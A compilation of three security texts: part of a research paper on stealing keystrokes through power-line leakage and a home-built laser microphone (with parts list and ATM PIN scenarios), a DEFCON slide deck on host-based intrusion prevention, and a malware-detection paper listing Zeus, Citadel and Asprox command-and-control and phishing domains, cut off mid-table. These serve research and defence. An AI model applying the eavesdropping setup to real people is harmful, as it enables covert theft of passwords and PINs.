with good quality (slightly modified by the anticipated artifacts introduced by the filter) and can be decoded back to the original kyestroke information. There has been no significant degradation of signal quality between the 1 meter distance test and the 15 meters one, suggesting that attenuation is not a concern at this range. It should be noted that attenuation coefficients for wire copper are often estimated for much higher frequencies (>1Mhz) than the PS/2 signal, considering a typical copper cable with a coefficient of 0.1 dB after 60m theoretically (strong emphasis here) 50% of the signal survives. For reference a typical leakage emission has an output power of ~1 pW (10^-12 Watt). In conclusion the results clearly show that information about the keyboard keystrokes indeed leaks on the power grid and can be remotely detected. We are confident that more expensive and sophisticated equipment can lead to much better measurements at a longer range. --[ 8. First Attack - Attack Scenario and Workarounds A good attack scenario for this kind of attack obviously involves the attacker being in a different room/area than the victim computer. In offices, houses, hotels it would be fairly easy to secure an attack spot with a power plug connected to the same electrical system as the victim room, possibly on the floor below or the adjacent room. Other than diplomats, neighbours, ex-girlfriends and so on, it is worth to mention that an appealing category of targets are ATM/PoS machines and similar banking devices. Several ATM models in Europe are standard PCs with PS/2 (or similar) keypads and no strong electromagnetic leak shielding, depending on their location they are likely to share the same electrical system of the nearby shop or area. The fact that the digits of the PIN code are the only input of the keypad narrows down the analysis required for retrieving it (of course we feel compelled to note that if the attacker has line of sight to the keypad it is more cost effective to simply point a zoom camera at the keypad). The main workaround for this attack (other than obviously using laptops which are not connected to the power socket and have shielded power supplied anyway) is effective shielding of the RF emanations of the PC equipment. TEMPEST standards exist which define a series of protection requirements, but they haven't been completely declassified. Extensive amount of tinfoil is not an effective workaround and it has been proved to make things worse in some scenarios.[4] It is believed that USB keyboards are not affected by this attack as they use differential signaling for cancelling the noise, though USB microcontrollers within the keyboard are much more noisy than PS/2 ones and there is a chance that some fortuitous emanations might be present. --[ 9. Second Attack - Theory As the first attack does not work against laptops something different was needed for attacking this target. Previous research[5] addressed using keyboard acoustic in order to mount a statistical attack for decoding the keystrokes, while these attacks are extremely fascinating we wanted to test something different that can be used at longer ranges. Laser microphones are well known monitoring devices that can detect sound at great distances by measuring the mechanical vibration of glass windows (which resonate due to the sound waves that hit them). The theory is that the mechanical vibration produced by keystrokes propagates on the laptop case carrying information that can be used to decode them. A laser microphone can be pointed at the laptop case directly instead of a window in order to sample those vibrations in a fashion similar to sound detection (effectively making the laser microphone a laser "vibrational sampler" as no sound is involved). --[ 10. Second Attack - Implementation While several commercial laser microphones are available at a high price, it is fairly easy to build your own for as little as 80 USD. Here's the basic needed equipment: 1 x Laser 1 x Photoresistor or Photodiode 1 x Variable resistor 1 x AA Battery 1 x Universal Power Adapter 1 x Jack Cable 1 x Laptop with sound card 2 x Tripod 1 x Focusing lens (for long distances) Optional components can include an amplifier and/or an optical bandpass filter. We built a basic laser device with a cheap Class IIIR laser (670 nm, <5 mW power, <2 mrad convergence) slightly better than the average laser pointer. A photodiode works better than a photoresistor because of its increased response speed, example photodiode models are BPW21R and BP103. The laser device components are a transmitting side (TX), consisting of the laser, and a receiving end (RX), consisting of the photoresistor/photodiode which is routed to a standard laptop pc sound card using an audio jack cable. The vibration of the target (in this case a laptop) results in movements of the reflected laser beam, this modulation is converted by the receiving side in an electrical signal which can be turned to digital data using the laptop audio card (which acts as a low cost ADC). The power output level of the signal, using an AA battery, is compatible with standard sound cards but we recommend to test it with a voltmeter before connection (again, remember the disclaimer). In general it is pretty easy to saturate the device as the sensitivity of the receiving side is very high, this is why the resistor is needed in order to tune the circuit output power. The laser reflection is generally so powerful that the outer area of its circle is sufficient enough for the measure, while the bright center saturates the circuit. The high intensity of the laser allows the receiver to distinguish the laser during day light and/or at longer ranges, while at night time the measurements are even more precise because no background light noise is present. Diagram: ---------- ---------- | TX Laser | -------------------------------------> \ \ ---------- \ Laptop \ _______ \ \ ---------- ___________-------- ---------- | RX Diode | <------------- ---------- | | + | * ---------------------> power ~ variable resistor audio jack -> Attacker's Laptop - | *----------------------> | | ------- In order to test if the assembled device works correctly a good method is using it as a "normal" laser microphone against a window, if the device is tuned for detecting audio it will be good enough for vibration pattern detection. --[ 11. Second Attack - Data Analysis The vibration patterns received by the device clearly show the separate keystrokes, this means that previous research that involves analyzing the timing of the keystrokes can be reused with this method. In addition, as the vibrational information is precise enough, we can compare the patterns to each other in order to assess the likelihood of the different keystrokes being the same (or different). This allows recovery of recurrent/distinct letters within the words and eventually the entire text which is being typed. As the space bar is a key shaped in a substantially different manner than any other key on they keyboard layout, it is immediately possible to separate the words from each other. This greatly helps the data analysis as by making assumptions on the language which is being typed it is possible to narrow down the odds of small words and re-use that information throughout the analysis (as an example 3 letter words in English are likely to be either 'are' or 'the'). As the different vibration patterns are not going to be identical because of difference in typing speed and mechanical propagation a scoring technique is necessary for the comparison. Dynamic Time Warping (DTW) is a good old- fashioned technique for measuring the similarity of signals with different time/speed, it is generally applied to audio and video but in principle can be used with any signal. More modern statistical techniques exist, like Hidden Markov Model (HMM), and can be surely employed with the same, if better, effectiveness. It is important to emphasize that this attack doesn't requires previous knowledge or training about the victim (other than the language) as we perform the statistical comparison between the different keys of the same sniffed data. Knowing the context of the text it is possible to considerably narrow down the options with just a few words of data. Additionally the order of the typed sequences is not a factor, as an example if someone types a password and then a page of text the latter analysis can be used to narrow down the options for guessing the password. --[ 12. Second Attack - Results From a signal detection point of view it was possible to obtain good results below 30 meters without any heavy tuning, using the cheap laser. Longer distances requires precise calibration and filtering and of course the more money is thrown at the laser quality the better the range is going to be. Aiming the beam directly at the laptop case, generally the LCD display lid, proves to be effective. The top of the lid catches more resonant vibrations (to be subtracted later via signal analysis) while aiming closer to the hinges produces better results. Here's a sample result dump from a pessimistic case scenario of just two words being typed: chars 1 <> 7 = 0.066* chars 7 <> 8 = 0.029* chars 8 <> 7 = 0.029* chars 1 <> 8 = 0.072* chars 7 <> 1 = 0.066* chars 8 <> 1 = 0.072* chars 1 <> 3 = 0.167 chars 7 <> 3 = 0.161 chars 8 <> 3 = 0.146 chars 1 <> 10 = 0.188 chars 7 <> 10 = 0.191 chars 8 <> 6 = 0.226 chars 1 <> 6 = 0.209 chars 7 <> 6 = 0.270 chars 8 <> 10 = 0.244 chars 6 <> 10 = 0.160* chars 10 <> 6 = 0.160* chars 11 <> 1 = 0.065* chars 6 <> 1 = 0.209 chars 10 <> 7 = 0.191 chars 11 <> 8 = 0.029* chars 6 <> 8 = 0.226 chars 10 <> 1 = 0.188 chars 11 <> 7 = 0.072* chars 6 <> 7 = 0.270 chars 10 <> 8 = 0.244 chars 11 <> 3 = 0.146 chars 6 <> 3 = 0.343 chars 10 <> 3 = 0.250 chars 11 <> 6 = 0.226 The lower the score the better the match. Characters 1, 7, 8 and 11 are definitely identical like 6 and 10 while characters 3 and 4 looks different than anything else. Knowing where the space bar was we can group the different keys with the following pattern of 1?XY321 1321. Here's what happens if we input the result to a very simple application that performs regular expression pattern matching against a dictionary using the supplied grouping. $ ./WoF '1_XY321 1321' /usr/share/dict/american-english hogwash hash salmons sons secrets sets sermons sons sockets sets soviets sets statues sues straits sits subways says tempest test tidiest test tiniest test trident tent We can see that knowing the context it is immediately possible to assess that 'tempest test' and maybe 'secrets sets' are the most probable answers, and indeed the former is the correct one. Adding an article to the phrase (like 'the') narrows downs the options to just two possibilities. With a full page of text, while the matching process takes more time, it is easily possible to recover the entire text. --[ 13. Second Attack - Attack Scenario and Workarounds Obviously a line of sight is needed, either in front or above the target, for mounting the attack. While this is not trivial to achieve it is reasonably possible if the target is facing a window on a high floor or placed on a table in a location (an outdoor area as an example) where the attacker can reach higher grounds. The transmitting and receiving sides can be at two completely different locations. A reflective area is needed for the attack and we found out that almost every laptop has a usable area. In case of IBM Thinkpads the logo on the lid can be used as well as the reflective plastic antenna for later models, Asus netbooks lid is entirely reflective and hence perfect for the attack. Apple laptops can be targeted on the Apple logo itself or, if you are attacking from behind, on the ultra-glossy screen. Additionally it is possible to aim the laser at any reflective object present on the laptop support like glasses close to the laptop and so on, if the table is sufficiently elastic to propagate the vibrations the attack is successful. While one laser device was used in our tests it is possible to combine more of them and have 2 or 4 devices aiming the same laptop simultaneously, it is also possible to use different kind of laser microphones that use interferometry in order to assess the Doppler effect of the frequency shift caused by the vibration. All of this can greatly help the measurement for longer ranges. Stealthiness (as red laser dots on your laptop case might look suspicious now) can be easily achieved by using an infrared laser/receiving diode, though it might require an infrared camera or temporary guidance with a visible laser for the actual targeting. The attack is possible even with a (possibly double) glass window in the way as reflection loss is ~4% at every pass. As a workaround (other than avoiding the line of sight with the attacker in the first place) the only ways we can think of are using an extremely firm laptop (we have yet to find a model which satisfy this requirement), radically change position while typing every second or so (you might look weird while doing this) or "pollute" the data with random keys somehow and delete them with backspace afterwards. --[ I. FAQ 1. Where are the pretty pictures? I see only ASCII art here. Check the links section down below for the full pdf presentation with all the pictures. 2. In the first attack can you detect different keyboards being used on the same electric line? Yes, the PS/2 frequency is a range and it is very difficult to find two keyboards at exactly the same frequency. Unless you have thousands of keyboards it will be possible to differentiate them. 3. In the second attack does the result change if different people are typing? Yes it does, in the sense that every person typing style will produce different vibrational patterns even for the same laptop. At the end though this is not a factor for the attack success as the analysis is assumed to be performed for a data set coming from the same person. It is not possible to re-use the scoring from one person against a different one (unless we are talking about two identical evil twins) --[ II. References [1] - TEMPEST is believed not to be an acronym though several non-official ones have been proposed, the most catchy are "Transmitted Electro- Magnetic Pulse / Energy Standars & Testing" and "Tiny Electro-Magnetic Particles Emitting Secret Things. [2] - While drafting this whitepaper news broke out about a very interesting research on this same field, be sure to check out "How Printers can Breach our Privacy: Acoustic Side-Channel Attacks on Printers" http://www.infsec.cs.uni-sb.de/projects/printer-acoustic [3] - Martin Vuagnoux, Sylvain Pasini (awaiting peer review at July 09) “Compromising radiation emanations of wired keyboards” [4] - Ali Rahimi, Ben Recht, Jason Taylor, Noah Vawter "On the Effectiveness of Aluminium Foil Helmets: An Empirical Study" http://people.csail.mit.edu/rahimi/helmet [5] - Dmitri Asonov, Rakesh Agrawal (2004) "Keyboard Acoustic Emanations” Li Zhuang, Feng Zhou, J.D. Tygar (2005) “Keyboard Acoustic Emanation Revisited” --[ III. Links - Project directory http://dev.inversepath.com/download/tempest |=[ EOF ]=---------------------------------------------------------------=|
pdf
Host-based Intrusion Prevention on Windows and UNIX Dr. Rich Murphey White Oak Labs WHITE OAK LABS 2 DEFCON XI 8/3/2003 Acknowledgements • Niels Provos – OpenBSD’s systrace • DT – suggested this thread last year • Greg Hoglund – insights • md5 at da ghettohackers – reviews WHITE OAK LABS 3 DEFCON XI 8/3/2003 What is Intrusion Prevention? • To a netsec person it looks like a firewall. Messages Rules Messages (Packets) WHITE OAK LABS 4 DEFCON XI 8/3/2003 What is Intrusion Prevention? • To a AV person it looks like an AV. Messages Signatures Messages (File IO) WHITE OAK LABS 5 DEFCON XI 8/3/2003 What is Intrusion Prevention? Network-based Host-based Packets Signatures API() Signatures WHITE OAK LABS 6 DEFCON XI 8/3/2003 What is Intrusion Prevention? Packets Signatures Socket() Signatures Consider personal firewalls that combine host and network based filtering. WHITE OAK LABS 7 DEFCON XI 8/3/2003 How is IP different? • Rather than rules, it uses signatures. • But these aren’t the same signatures you might run in an Intrusion Detection Systems (IDS) • Signatures as access controls. API() Signatures WHITE OAK LABS 8 DEFCON XI 8/3/2003 How is it different? • Consider SNORT/Hogwash.. • Signature-based Firewall • IDS vendors call this “Gateway IDS” Packets Signatures WHITE OAK LABS 9 DEFCON XI 8/3/2003 What is Intrusion Prevention? • It's complementary to AV & Firewall • Filters messages between applications and the kernel. • Uses signatures to recognize payload behavior or injection mechanisms. API() Signatures WHITE OAK LABS 10 DEFCON XI 8/3/2003 Why the heck should we care? • Encryption, fragmentation and re- encoding, can prevent application layer filtering on the wire. • Data resides in the clear in the application layer. So do exploits. WHITE OAK LABS 11 DEFCON XI 8/3/2003 Why the heck should we care? • Visibility into the application layer provides capability for better contextual discrimination. = Stops certain kinds of exploits. WHITE OAK LABS 12 DEFCON XI 8/3/2003 So, why do we need another tool? • Network security • App level Firewalls • Attack through services/daemons. • crunchy on the outside? • Application state is complex. • State of memory, disk, clients… WHITE OAK LABS 13 DEFCON XI 8/3/2003 IP Signatures For signatures that: • Are application state specific • Are system state specific • Use contextual clues • Block from the inside WHITE OAK LABS 14 DEFCON XI 8/3/2003 Well, OK, so how does it work? Consider architectural layers in the OS. Let’s take a look at: • Layers in Windows architecture • Layers in UNIX WHITE OAK LABS 15 DEFCON XI 8/3/2003 Win2K System Architecture OS/2 App Win32 App Posix App OS/2 Subsystem Win32 Subsystem Posix Subsystem Executive Services Interface Security Reference Monitor IPC Manager Virtual Memory Manager Process Manager GDI Window Manager Window Manager Device Drivers Hardware Hardware Abstraction Layer (HAL) Micro Kernel Object Manager Graphics Device Drivers IO Manager File Systems Ntdll.dll WHITE OAK LABS 16 DEFCON XI 8/3/2003 Win2K System Architecture OS/2 App Win32 App Posix App OS/2 Subsystem Win32 Subsystem Posix Subsystem Executive Services Interface Security Ref. Monitor IPC Mgr. Virtual Memory Mgr. Process Mgr. GDI Window Mgr. Window Mgr. Device Drivers Hardware Hardware Abstraction Layer Micro Kernel Object Manager Graphics Device Drivers IO Mgr. File Sys. Ntdll.dll Two distinct user-land layers: • Binary compatible app layer • OS specific, native layer Three distinct kernel layers: • Executive services • Object Manager • Hardware Abstration Layer WHITE OAK LABS 17 DEFCON XI 8/3/2003 Linux System Architecture Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface WHITE OAK LABS 18 DEFCON XI 8/3/2003 Linux System Architecture Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface • One common abstraction layer for kernel. • One common abstraction layer for user-land. Is fewer layers bad? WHITE OAK LABS 19 DEFCON XI 8/3/2003 Linux System Architecture Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface Each layer provides context info. • What can that information provide? • Given this information, what can we distinguish? • How is this different than other forms of filtering? WHITE OAK LABS 20 DEFCON XI 8/3/2003 Architecture Comparison OS/2 App Win32 App Posix App OS/2 Subsystem Win32 Subsystem Posix Subsystem Executive Services Interface Security Ref. Monitor IPC Mgr. Virtual Memory Mgr. Process Mgr. GDI Window Mgr. Window Mgr. Device Drivers Hardware Hardware Abstraction Layer Micro Kernel Object Manager Graphics Device Drivers IO Mgr. File Sys. Ntdll.dll Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface WHITE OAK LABS 21 DEFCON XI 8/3/2003 Linux System Architecture Even considering the app. as a “black box” we can observe at multiple layers: • API calls • System calls • Instruction level Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface WHITE OAK LABS 22 DEFCON XI 8/3/2003 Linux System Architecture Exploits: • focus on escaping IDS • often cause exceptional behavior. Rather than fix IDS, let’s take an entirely different approach. Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface WHITE OAK LABS 23 DEFCON XI 8/3/2003 Linux System Architecture Because it acts at these layers it is independent of: • Method of transport • Method of injection. It is specific to: • App state or behavior • Payload behavior Linux App Win32 App Mac App Wine or Win4Lin Basilisk System call interface Scheduler Virtual Memory Manager Process Manager Socket Manager Hardware File Systems Memory Allocator Network Protocols Network Drivers Character Devices Block Devices Libc.so MAME Games VFS Interface WHITE OAK LABS 24 DEFCON XI 8/3/2003 Examples… • Yes, let's consider a specific payload (and exploit for that matter) on FreeBSD. • How does it get in and how do we distinguish it's behavior. • Why is this important... WHITE OAK LABS 25 DEFCON XI 8/3/2003 Demo of IP on FreeBSD • Background of exploit: release date, authors, impact, subsequent variations. • firewall coverage • anti-virus coverage • IDS and AV coverage WHITE OAK LABS 26 DEFCON XI 8/3/2003 Demo of successful exploit WHITE OAK LABS 27 DEFCON XI 8/3/2003 Review of injection and payload Code excerpts: • Vulnerability • Injection • Payload WHITE OAK LABS 28 DEFCON XI 8/3/2003 How can we prevent it? • Unique aspects of payload? • How we can recognize it.. • Unique aspects of injection? • How we can recognize it.. WHITE OAK LABS 29 DEFCON XI 8/3/2003 Demo of blocked exploit WHITE OAK LABS 30 DEFCON XI 8/3/2003 Review of contextual information • network identity • user identity • application state • authentication • workflow • orthogonally to other methods WHITE OAK LABS 31 DEFCON XI 8/3/2003 What’s the state of the industry? • Leading products in the market? • What differentiates them? • How do the integrate with others? • Success stories? WHITE OAK LABS 32 DEFCON XI 8/3/2003 The End • Updated slides and tools will be available at: www.defcon.org www.murphey.org/dc-11/ • I can be contacted at: [email protected]
pdf
1 CATCHING MALWARE EN MASSE: DNS AND IP STYLE Dhia Mahjoub (@DhiaLite) [email protected] Thibault Reuille (@ThibaultReuille) [email protected] Andree Toonk (@atoonk) [email protected] Abstract The Internet is constantly growing, providing a myriad of new services, both legitimate and malicious. Criminals take advantage of the scalable, distributed, and rather easily accessible naming, hosting and routing infrastructures of the Internet. As a result, the battle against malware is raging on multiple fronts: the endpoint, the network perimeter, and the application layer. The need for innovative measures to gain ground against the enemy has never been greater. In this paper, we present novel strategies to catch malware at the DNS and IP level, as well as our unique 3D visualization engine. We will describe the detection systems we built, and share several successful war stories about hunting down malware domains and associated rogue IP space. At the DNS level, we describe efficient methods for tracking fast flux botnets and describe a study we carried for several months of the Zeus fast flux proxy network. At the IP level, classical reputation methods assign "maliciousness" scores to IPs, BGP prefixes, or ASNs by merely counting domains and IPs. Our system takes an unconventional approach that combines two opposite, yet complementary views and leads to more effective predictive detections. On one hand, we abstract away from the ASN view. We build the AS graph and investigate its topology to uncover hotspots of malicious or suspicious activities and monitor our DNS traffic for new domains hosted on these malicious IP ranges. We will also describe a unique method of identifying seemingly autonomous networks that are actually operated by one organization, which helps further identify potentially malicious areas of the Internet. On the other hand, we examine a granularity finer than the BGP prefix. For this, we zero in on IP ranges re-allocated or re- assigned to bad customers within large prefixes to host Exploit kit domains, browlock, and other attack types. We will present various techniques we devised to efficiently discover suspicious reserved ranges and sweep en masse for candidate suspicious IPs. Our system provides actionable intelligence and preemptively detects and blocks malicious IP infrastructures prior to, or immediately after some of them are used to wage malware campaigns, therefore decisively closing the detection gap. The discussion of these detection systems and "war stories" wouldn't be complete without a visualization engine that adequately displays the use cases and offers a graph navigation and investigation tool. Therefore, in this paper, we will also discuss our own 3D visualization engine, demonstrating the full process which transforms raw data into stunning 3D visuals. We will also present different techniques used to build and render large graph datasets: Force Directed algorithms accelerated on the GPU using OpenCL, 3D rendering and navigation using OpenGL ES, and GLSL Shaders. 2 Part 1: Catching Malware DNS-style In today’s cybercrime world, bad actors strive to keep their operations (spam, phishing, malware distribution, botnets, etc.) online at all times, and for that the hosting network infrastructure plays a crucial role. The domain name system (DNS) and IP hosting infrastructures are the foundations of the Internet, and they are equally used for legitimate and criminal activities alike. Botnets as proxy networks Botnets constitute a notable hosting and attack delivery infrastructure. As it is composed of a large collection of compromised machines that receive instructions from a command & control server, a botnet can be quite versatile. The bots can perform numerous malicious activities on demand, and therefore represent an all-purpose weapon for criminals. A prominent use of botnets is as proxy networks to shield the identity and location of malware CnCs during the communication between an infected host and the CnC. In this case, the proxy network can take the form of a fast flux service network [1]. Fast-flux service networks take advantage of DNS to redirect C&C connection attempts to a set of proxy nodes that are constantly shifting. These proxy nodes serve as intermediaries to relay information between infected hosts and the C&C component. A fast-flux service network is created by setting up a selection of domains to resolve to the IP addresses of a subset of available proxy nodes (bots). These IP addresses are then frequently changed to the IP addresses of new proxy nodes which is known as IP fluxing. This way, the proxy network provides an extra layer of evasion and protection for the actual malware CnCs. The communication between the infected hosts always goes through the fast flux proxy network to reach the malware backend CnCs. In general, botnet-based proxy networks can be used to serve malware pushed from CnCs down to newly infected hosts via Exploit kit attacks or spam attachments, or to push new payloads to already infected hosts, or to forward communication from infected clients to backend CnCs like in the case of Kelihos (fast flux botnet with TTL=0) and Zbot (fast flux botnet with a TTL=150). In this part, we will discuss a several months study we conducted on the Zbot proxy network. This network consists of a few tens of thousands of infected machines and has hosted over a thousand CnC domains. It has hosted CnCs for various malware families: Zeus variants, Asprox, and most recently the new Zeus GameOver variant. Zeus Crimeware The Zeus Crimeware kit is one of the most advanced toolkits used to generate effective and versatile malware payloads that facilitate criminal activities. The kit consists of the following main components: a control panel, config files (which hold the URLs for drop zones, extra payload, extra configs, and target websites of web injects), binary files, and a builder. The crimeware’s main goals are to steal financial data such as online bank account and credit card information, steal sensitive credentials, and perform web injects to hijack the victims’ sessions on websites of interest to the criminals (e.g. online banking websites). Zeus CnCs Zeus command and control domains can be hosted on different platforms: compromised sites, fast flux botnets, or bulletproof or free hosting providers [3]. Additionally, Zeus CnC domains can be used for three types of purposes: they can serve configuration files, binary files, or serve as drop zones. In this study, we focus on the fast flux botnet that hosts Zeus CnC domains and which we call the “zbot proxy network”. This proxy network hosts fast flux domains with a characteristic TTL of 150 seconds and is constituted of a few thousand infected machines. We use two methods to detect the fast flux domains hosted on this network: periodic Hadoop Pig jobs, and IP harvesting combined with filtering heuristics applied on our streaming authoritative DNS traffic. 3 For the first method, we run a periodic Pig job on our authoritative logs stored on HDFS where we retrieve domains with a TTL<=150. We filter out unwanted domains such as spam or legitimate domains, then build the bipartite graph of domains-IPs, and take the largest connected component. This heuristic extracts the zbot fast flux domains along with their resolving IPs from the portion of logs we processed. The IPs are appended to the pool of zbot IPs that is also used in the second method. For the second method, we incrementally build the list of confirmed zbot fast flux domains, continuously resolve them, and append the IPs to the pool of zbot IPs. At the same time, we tap into our streaming authoritative DNS traffic and extract any domain whose IP or name server IP is in the zbot IP pool. The combination of these two methods allows us to catch the bulk of new zbot fast flux domains that we see in our traffic. Using the authoritative DNS stream is faster than a DNSDB stored on Hadoop, as the traffic is coming live from a selection of our resolvers at a rate of hundreds to thousands of entries per second. A typical entry looks like: ASN, domain, 2LD, IP, NS_IP, timestamp, TTL, type. Zbot proxy network usage We recorded different uses of the fast flux domains riding on the zbot proxy network. One recorded use is as Zeus CnCs after infection via Magnitude EK. A second recorded use is as Kuluoz CnCs post-infection by different Exploit kits. In this case, various Exploit kits or malicious attachments lead to the dropping of the Kuluoz/Dofoil malware. The infected host becomes part of the Asprox botnet and phones to one or several of the fast flux domains. Figure 1. Infection vectors followed by beaconing to fast flux proxy networks. In the figure above, we show the different documented scenarios of Exploit kit attacks or malicious attachments leading to beaconing to generic zbot CnCs, Asprox CnCs, or Kelihos CnCs. These scenarios are differentiated with ET signatures. There are two main infection vectors: Exploit kit attacks via drive-by downloads or spam emails with embedded links leading to malware, or the malware dropper coming as attachment (fake Flash update) [4]. 4 HTTP Traffic URL Patterns Following the detection of the fast flux CnC domains using our described methods, we investigate the HTTP traffic directed to these domains by temporarily sinkholing them and checking VirusTotal and Zeustracker.abuse.ch databases. We notice that these domains are very versatile. Various malware families use them as CnCs: Zeus and three of its variants (Citadel, KINS, ICE IX) as well as Asprox and some other downloaders. They also served to host phishing sites and we recorded domains hosting Pony panels. This confirms the nature of the zbot fast flux botnet as a “service network” utilized for various purposes depending on clients’ needs. In the sections below, we show the detailed url patterns for the different categories of usage of the CnC domains. Zeus CnC traffic A Zeus CnC can serve 3 types of URLs: Config, Binary, or drop zone [3]. In the Table below, we show examples of Zeus CnC URLs that were recorded in traffic. Table 1. Sample Fast flux CnC domains used by Zeus and associated URL patterns. CnC domain Url path Url type azg.su /coivze7aip/modules/update.bin /coivze7aip/cde.php /coivze7aip/cde.php ConfigURL BinaryURL DropZone browsecheck.com /rest/main.bin /manage/webstat.php ConfigURL DropZone despww.su /3836bkuta3/modules/zte.bin /3836bkuta3/asdf.php ConfigURL DropZone dvs.qstatic.net /img/pixel.jpg /img/mnn2.exe /img/rotator.php ConfigURL BinaryURL DropZone googleupd.com /api/main.bin ConfigURL reportonh.com /api/main.bin /pack32/sysconf.exe /manage/webstat.php ConfigURL BinaryURL DropZone seorubl.in /forum/popap1.jpg /forum/explorer.exe /forum/index.php/gate.php ConfigURL BinaryURL DropZone servmill.com /manage/mailo.php DropZone systemork.com /api/main.bin ConfigURL sytemnr.com /api/main.bin /pack32/sysconf.exe /manage/webstat.php ConfigURL BinaryURL DropZone vasilyaalibaba.com /images/up.jpg ConfigURL veloinsurances.com /images/logo_sav.jpg ConfigURL vhsonline.net /pix.jpg ConfigURL vozmusa.biz /healer/file.php /healer/gate.php ConfigURL DropZone 5 Citadel CnC traffic Table 2. Sample Fast flux CnC domains used by Citadel and associated URL patterns. CnC domain Url path Url type alremi.ru /images/images/amidstplenty/therexone/ledatic/file.php /images/images/amidstplenty/therexone/ledatic/e75.php ConfigURL DropZone anafis.ru /images/kenn/eddy/file.php ConfigURL astrophiscinam.com /flashcheck/file.php ConfigURL barakos.ru /images/images/amidstplenty/therexone/ledaticmn/file.php /images/images/amidstplenty/therexone/ledaticmn/e75.php ConfigURL DropZone emonn.ru /images/file.php /images/mon.php ConfigURL DropZone etot.su /lifeisgood/IcoqW4all.php DropZone hotbird.su /newadmin/file.php ConfigURL kaneaccess.ru /images/images/amidstplenty/therexone/ledatic/file.php /images/images/amidstplenty/therexone/ledatic/e75.php ConfigURL DropZone lundu.ru /tri4ngl3z/0v0x0/file.php ConfigURL m9a.ru /images/images/amidstplenty/therexone/ledatic/file.php /images/images/amidstplenty/therexone/ledatic/e75.php ConfigURL DropZone p7x.ru /CyberCartel1/file.php /CyberCartel1/gate.php ConfigURL DropZone panag.ru /syst3mz/min-us/file.php /syst3mz/min-us/x!!x.php ConfigURL DropZone skinflexpro.eu /treatment/53663675/wp-config.php /treatment/53663675/wp-comments-post.php ConfigURL DropZone verlo.ru /syst3mz/min-us/file.php /syst3mz/min-us/x!!x.php ConfigURL DropZone volkojpanula.pw /laguna/tein-industry/wp-signup.php /laguna/tein-industry/wp-login.php ConfigURL DropZone workflowhardware.com /flashcheck/file.php ConfigURL yaler.ru /tim3r/sw33t/file.php ConfigURL KINS and ICE IX CnC traffic Table 3. Sample Fast flux CnC domains used by KINS ans ICE IX and associated URL patterns. CnC domain Url path Url type construction89.ru /spirit.jpg /qw.exe /var/czen.php ConfigURL BinaryURL DropZone francejustel.ru /mail/hi.jpg ConfigURL newromentthere.ru /123.jpg /g.exe /img/pic.php ConfigURL BinaryURL DropZone orbitmanes.ru /sprit.jpg /01.exe /var/hy.php ConfigURL BinaryURL DropZone reznormakro.su /winconf/kernl.bin /manage/webstat.php ConfigURL DropZone 6 Phishing traffic Table 4. Sample Fast flux domains for phishing sites and associated URL patterns. Domain Known Url path amazon.de.k unde- secure.com /kunden_security/MDUuMjguMTQ%3D/4161/gp/newLogin/B007HCCOD0?charset.set=UTF&IP.hilfe =ID00320070.uberpruf28476660/ httpsj.org /ap/deutschland/kunde /favicon.ico httpss.biz /sicherlich/deu/kunde Asprox CnC traffic The zbot fastflux domains are also used as CnCs for the Asprox botnet. After a machine is infected via Exploit kit attacks or malicious spam attachments (Figure 1), it performs multiple Asprox type callbacks to a selection of the fast flux domains then follows with clickfraud traffic. In the Table below, we show sample domains used as CnCs (some are live at the moment of this writing), the associated HTTP methods and URL patterns and the Emerging Threats alerts they trigger. Table 5. Sample Fast flux CnC domains used by Asprox and associated URL patterns and ET alerts. ET alert Domain HTTP method ET TROJAN W32/Asprox.ClickFraudBot CnC Beacon defie-guret.su harm-causer.com joye-luck.com joye-luck.su molinaderrec.com pg-free.com vision-vaper.su GET /b/eve/ bang-power.su cherry-white.com defie-guret.su grade-well.com harm-causer.com joye-luck.com joye-luck.su molinaderrec.com oak-cured.com original-lot.com pg-free.com valoherusn.su vision-vaper.su GET /b/letr/ biobetic-new.com carbiginer.com carbon-flx.su come-passere.com dialog-pow.com gummiringes.com head-pcs.com history-later.su GET /b/shoe/ 7 lare-funer.com mitger-qaser.com mix-juert.com older-hiuwm.com preluner-ter.com unuse-bubler.com valoherusn.com zemmes-gimbl.com ET TROJAN W32/Asprox.ClickFraudBot POST CnC Beacon apple-greens.com bang-power.su cherry-white.com defie-guret.su futere-poss.com garanering.su grade-well.com harm-causer.com hefu-juder.com innovation-citys.com jogurt-jetr.com joye-luck.com joye-luck.su juice-from.com molinaderrec.com nanoteches.com oak-cured.com on-bend.com original-lot.com pg-free.com ray-green.ru shark-yope.su supra-onfert.com taiborucheng.com terminus-hls.su trendf-news.ru tundra-red.com valoherusn.su vaping-qasdir.su vision-vaper.su POST /b/opt/ apple-greens.com cherry-white.com defie-guret.su garanering.su grade-well.com harm-causer.com joye-luck.com joye-luck.su molinaderrec.com oak-cured.com original-lot.com pg-free.com POST /b/req/ 8 supra-onfert.com taiborucheng.com valoherusn.su vision-vaper.su Notice that in the case of the URL patterns: /b/eve/, /b/letr/, /b/opt/ and /b/req/, they are followed by a 12 2-byte hexadecimal string. For example: http://vision-vaper.su/b/eve/1f40f89ea1eebf47748490eb http://grade-well.com/b/letr/7165F757DAA94FE2CD116CC4 http://hefu-juder.com/b/opt/17D2BCDADA720FE35C6F00F1 http://joye-luck.com/b/req/648EEF9F6EDBDEE2E5E7F800 Other traffic patterns We list observed URL patterns used for other purposes: Beaconing and announcing version, make, OS GET 